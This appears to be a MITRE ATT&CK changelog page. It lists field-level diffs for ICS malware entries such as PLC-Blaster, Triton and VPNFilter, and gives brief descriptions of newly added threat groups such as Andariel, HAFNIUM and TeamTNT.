| modified | 2020-03-30 16:41:41.805000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PLC-Blaster](https://collaborate.mitre.org/attackics/index. | t | 1 | [PLC-Blaster](https://attack.mitre.org/software/S0009) is a |
| > | php/Software/S0009) is a piece of proof-of-concept malware t | > | piece of proof-of-concept malware that runs on Siemens S7 PL | ||
| > | hat runs on Siemens S7 PLCs. This worm locates other Siemens | > | Cs. This worm locates other Siemens S7 PLCs on the network a | ||
| > | S7 PLCs on the network and attempts to infect them. Once th | > | nd attempts to infect them. Once this worm has infected its | ||
| > | is worm has infected its target and attempted to infect othe | > | target and attempted to infect other devices on the network | ||
| > | r devices on the network, the worm can then run one of many | > | , the worm can then run one of many modules. (Citation: Spen | ||
| > | modules.(Citation: BlackHat PLC-Blaster Mar 2016)(Citation: | > | neberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 20 | ||
| > | BlackHat PLC-Blaster 2016) | > | 16) (Citation: Spenneberg, Ralf 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['PLC-Blaster'] | |
| x_mitre_platforms | ['Windows'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-02 22:01:15.893000+00:00 | 2022-05-06 17:47:24.022000+00:00 |
| description | [PLC-Blaster](https://collaborate.mitre.org/attackics/index.php/Software/S0009) is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.(Citation: BlackHat PLC-Blaster Mar 2016)(Citation: BlackHat PLC-Blaster 2016) | [PLC-Blaster](https://attack.mitre.org/software/S0009) is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules. (Citation: Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 2016) (Citation: Spenneberg, Ralf 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0009 | https://attack.mitre.org/software/S0009 |
| external_references[1]['source_name'] | BlackHat PLC-Blaster Mar 2016 | Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 2016 |
| external_references[1]['description'] | Spenneberg, Ralf, Maik Brüggemann, and Hendrik Schwartke. (2016, March 31). Plc-blaster: A worm living solely in the plc.. Retrieved September 19, 2017. | Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke 2016, March 31 Plc-blaster: A worm living solely in the plc. Retrieved. 2017/09/19 |
| external_references[1]['url'] | Spenneberg, Ralf, Maik Brüggemann, and Hendrik Schwartke. (2016, March 31). Plc-blaster: A worm living solely in the plc.. Retrieved September 19, 2017. | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf |
| external_references[2]['source_name'] | BlackHat PLC-Blaster 2016 | Spenneberg, Ralf 2016 |
| external_references[2]['description'] | Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019. | Spenneberg, Ralf 2016 PLC-Blaster Retrieved. 2019/06/06 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Triton](https://collaborate.mitre.org/attackics/index.php/S | t | 1 | [Triton](https://attack.mitre.org/software/S0013) is an atta |
| > | oftware/S0013) is an attack framework built to interact with | > | ck framework built to interact with Triconex Safety Instrume | ||
| > | Triconex Safety Instrumented System (SIS) controllers.(Cita | > | nted System (SIS) controllers. (Citation: Blake Johnson, Dan | ||
| > | tion: FireEye TRITON Dec 2017)(Citation: Dragos TRISIS Dec 2 | > | Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christo | ||
| > | 017)(Citation: CISA MAR-17-352-01 HatMan)(Citation: Schneide | > | pher Glyer December 2017) (Citation: Dragos December 2017) ( | ||
| > | r Electric TRITON Jan 2018)(Citation: Triton - A Report From | > | Citation: DHS CISA February 2019) (Citation: Schneider Elect | ||
| > | The Trenches Mar 2019)(Citation: Schneider Electric Dec 201 | > | ric January 2018) (Citation: Julian Gutmanis March 2019) (Ci | ||
| > | 8)(Citation: MidnightBlueLabs TRITON Jan 2018) | > | tation: Schneider December 2018) (Citation: Jos Wetzels Janu | ||
| > | ary 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | ['Windows'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-02 22:01:15.893000+00:00 | 2022-05-06 17:47:24.030000+00:00 |
| description | [Triton](https://collaborate.mitre.org/attackics/index.php/Software/S0013) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers.(Citation: FireEye TRITON Dec 2017)(Citation: Dragos TRISIS Dec 2017)(Citation: CISA MAR-17-352-01 HatMan)(Citation: Schneider Electric TRITON Jan 2018)(Citation: Triton - A Report From The Trenches Mar 2019)(Citation: Schneider Electric Dec 2018)(Citation: MidnightBlueLabs TRITON Jan 2018) | [Triton](https://attack.mitre.org/software/S0013) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: DHS CISA February 2019) (Citation: Schneider Electric January 2018) (Citation: Julian Gutmanis March 2019) (Citation: Schneider December 2018) (Citation: Jos Wetzels January 2018) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0013 | https://attack.mitre.org/software/S0013 |
| external_references[1]['source_name'] | FireEye TRITON Dec 2017 | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017 |
| external_references[1]['description'] | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018. | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer 2017, December 14 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Dragos TRISIS Dec 2017 | Dragos December 2017 |
| external_references[2]['description'] | Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018. | Dragos 2017, December 13 TRISIS Malware Analysis of Safety System Targeted Malware Retrieved. 2018/01/12 |
| external_references[3]['source_name'] | CISA MAR-17-352-01 HatMan | DHS CISA February 2019 |
| external_references[3]['description'] | DHS CISA. (2019, February 27). MAR-17-352-01 HatMan—Safety System Targeted Malware (Update B). Retrieved March 8, 2019. | DHS CISA 2019, February 27 MAR-17-352-01 HatManSafety System Targeted Malware (Update B) Retrieved. 2019/03/08 |
| external_references[3]['url'] | https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf | https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf |
| external_references[4]['source_name'] | Schneider Electric TRITON Jan 2018 | Schneider Electric January 2018 |
| external_references[4]['description'] | Schneider Electric. (2018, January 23). TRITON - Schneider Electric Analysis and Disclosure. Retrieved March 14, 2019. | Schneider Electric 2018, January 23 TRITON - Schneider Electric Analysis and Disclosure Retrieved. 2019/03/14 |
| external_references[5]['source_name'] | Triton - A Report From The Trenches Mar 2019 | Julian Gutmanis March 2019 |
| external_references[5]['description'] | Julian Gutmanis. (2019, March 11). Triton - A Report From The Trenches. Retrieved March 11, 2019. | Julian Gutmanis 2019, March 11 Triton - A Report From The Trenches Retrieved. 2019/03/11 |
| external_references[6]['source_name'] | Schneider Electric Dec 2018 | Schneider December 2018 |
| external_references[6]['description'] | Schneider Electric. (2018, December 14). Security Notification - EcoStruxure Triconex Tricon V3. Retrieved August 26, 2019. | Schneider 2018, December 14 Security Notification EcoStruxure Triconex Tricon V3 Retrieved. 2019/03/08 |
| external_references[7]['source_name'] | MidnightBlueLabs TRITON Jan 2018 | Schneider Electric December 2018 |
| external_references[7]['description'] | Jos Wetzels. (2018, January 16). Analyzing the TRITON industrial malware. Retrieved October 22, 2019. | Schneider Electric 2018, December 14 Security Notification - EcoStruxure Triconex Tricon V3 Retrieved. 2019/08/26 |
| external_references[7]['url'] | https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware | https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-347-01+Triconex+V3.pdf&p_Doc_Ref=SEVD-2017-347-01 |
| external_references[8]['source_name'] | CISA ICS Advisory (ICSA-18-107-02) | Jos Wetzels January 2018 |
| external_references[8]['description'] | ICS-CERT. (2018, December 18). Advisory (ICSA-18-107-02) - Schneider Electric Triconex Tricon (Update B). Retrieved March 8, 2019. | Jos Wetzels 2018, January 16 Analyzing the TRITON industrial malware Retrieved. 2019/10/22 |
| external_references[8]['url'] | https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02 | https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'MITRE CVE-2018-8872', 'description': 'MITRE. (2018, May 04). CVE-2018-8872. Retrieved March 8, 2019.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2018-8872'} | |
| external_references | {'source_name': 'CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer', 'description': 'Common Weakness Enumeration. (2019, January 03). CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer. Retrieved March 8, 2019.', 'url': 'https://cwe.mitre.org/data/definitions/119.html'} | |
| external_references | {'source_name': 'The Office of Nuclear Reactor Regulation', 'description': 'The Office of Nuclear Reactor Regulation. (n.d.). Triconex Topical Report 7286-545-1. Retrieved May 30, 2018.', 'url': 'https://www.nrc.gov/docs/ML1209/ML120900890.pdf'} | |
| external_references | {'source_name': 'MDudek-ICS Triton', 'description': 'MDudek-ICS. (n.d.). TRISIS-TRITON-HATMAN. Retrieved November 3, 2019.', 'url': 'https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library'} | |
| x_mitre_aliases | Triton |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [VPNFilter](https://collaborate.mitre.org/attackics/index.ph | t | 1 | [VPNFilter](https://attack.mitre.org/software/S0002) is a mu |
| > | p/Software/S0002) is a multi-stage, modular platform with ve | > | lti-stage, modular platform with versatile capabilities to s | ||
| > | rsatile capabilities to support both intelligence-collection | > | upport both intelligence-collection and destructive cyber at | ||
| > | and destructive cyber attack operations. VPNFilter modules | > | tack operations. [VPNFilter](https://attack.mitre.org/softwa | ||
| > | such as its packet sniffer ('ps') can collect traffic that p | > | re/S0002) modules such as its packet sniffer ('ps') can coll | ||
| > | asses through an infected device, allowing the theft of webs | > | ect traffic that passes through an infected device, allowing | ||
| > | ite credentials and monitoring of Modbus SCADA protocols.(Ci | > | the theft of website credentials and monitoring of Modbus S | ||
| > | tation: Talos VPNFilter Jun 2018)(Citation: VPNFilter Deep D | > | CADA protocols. (Citation: William Largent June 2018) (Citat | ||
| > | ive Mar 2019) | > | ion: Carl Hurd March 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['VPNFilter'] | |
| x_mitre_platforms | ['Windows'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-03 22:01:15.893000+00:00 | 2022-05-06 17:47:24.032000+00:00 |
| description | [VPNFilter](https://collaborate.mitre.org/attackics/index.php/Software/S0002) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.(Citation: Talos VPNFilter Jun 2018)(Citation: VPNFilter Deep Dive Mar 2019) | [VPNFilter](https://attack.mitre.org/software/S0002) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S0002) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0002 | https://attack.mitre.org/software/S0002 |
| external_references[1]['source_name'] | Talos VPNFilter Jun 2018 | William Largent June 2018 |
| external_references[1]['description'] | William Largent. (2018, June 06). VPNFilter Update - VPNFilter exploits endpoints, targets new devices. Retrieved March 28, 2019. | William Largent 2018, June 06 VPNFilter Update - VPNFilter exploits endpoints, targets new devices Retrieved. 2019/03/28 |
| external_references[2]['source_name'] | VPNFilter Deep Dive Mar 2019 | Carl Hurd March 2019 |
| external_references[2]['description'] | Carl Hurd. (2019, March 26). VPNFilter Deep Dive. Retrieved March 28, 2019. | Carl Hurd 2019, March 26 VPNFilter Deep Dive Retrieved. 2019/03/28 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:59:51.283000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.0
Description: [Bad Rabbit](https://collaborate.mitre.org/attackics/index.php/Software/S0005) is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine. (Citation: ESET Bad Rabbit Oct 2017)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-02 00:14:20.652000+00:00 | 2021-10-21 14:00:00.188000+00:00 |
Current version: 1.0
Description: [BlackEnergy 3](https://collaborate.mitre.org/attackics/index.php/Software/S0004) is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid. (Citation: Booz Allen Hamilton)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-05 00:14:20.652000+00:00 | 2021-04-29 14:49:39.188000+00:00 |
Current version: 1.0
Description: [Conficker](https://collaborate.mitre.org/attackics/index.php/Software/S0012) is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant. (Citation: Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-12-27 00:14:20.652000+00:00 | 2021-10-21 14:00:00.188000+00:00 |
Current version: 1.0
Description: [Industroyer](https://collaborate.mitre.org/attackics/index.php/Software/S0001) is a sophisticated piece of malware designed to cause an [Impact](https://collaborate.mitre.org/attackics/index.php/Impact) to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.(Citation: ESET Win32/Industroyer) Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride)(Citation: CISA Alert (TA17-163A))(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2019)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--d78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| modified | 2020-01-06 14:35:53.759000+00:00 | 2021-10-21 14:00:00.188000+00:00 |
| external_references[3]['source_name'] | CISA Alert (TA17-163A) | CISA Alert TA17-163A CrashOverride June 2017 |
Current version: 1.0
Description: In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable. (Citation: ESET BlackEnergy Jan 2016)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--d78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| modified | 2020-01-05 14:35:53.759000+00:00 | 2021-10-21 14:00:00.188000+00:00 |
Current version: 1.0
Description: [Stuxnet](https://collaborate.mitre.org/attackics/index.php/Software/S0010) was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.(Citation: Wired W32.Stuxnet Dossier Feb 2011)(Citation: Symantec W32.Stuxnet Writeup)(Citation: CISA ICS Advisory (ICSA-10-238-01B))(Citation: SCADAhacker Stuxnet Mitigation Jan 2014)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | True | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-03 22:01:15.893000+00:00 | 2021-10-21 14:00:00.188000+00:00 |
| external_references[3]['source_name'] | CISA ICS Advisory (ICSA-10-238-01B) | CISA ICS Advisory ICSA-10-238-01B Stuxnet January 2014 |
Current version: 1.0
Description: [Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)
Current version: 1.0
Description: [Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021) [Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
Current version: 1.0
Description: [Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)
Current version: 1.0
Description: [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)
Current version: 1.0
Description: [CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)
Current version: 1.0
Description: [Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)
Current version: 1.0
Description: [Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)
Current version: 1.1
Description: [HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)
Current version: 1.0
Description: [Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)
Current version: 1.0
Description: [IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 2.1
Description: [Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)
Current version: 1.0
Description: [LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)
Current version: 2.0
Description: [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)
Current version: 1.0
Description: [Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
Current version: 1.0
Description: [Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)
Current version: 1.0
Description: [Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)
Current version: 1.0
Description: [Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)
Current version: 1.1
Description: [TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)
Current version: 1.1
Description: [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)
Current version: 1.1
Description: [Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)
Current version: 1.0
Description: [Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)
Current version: 1.1
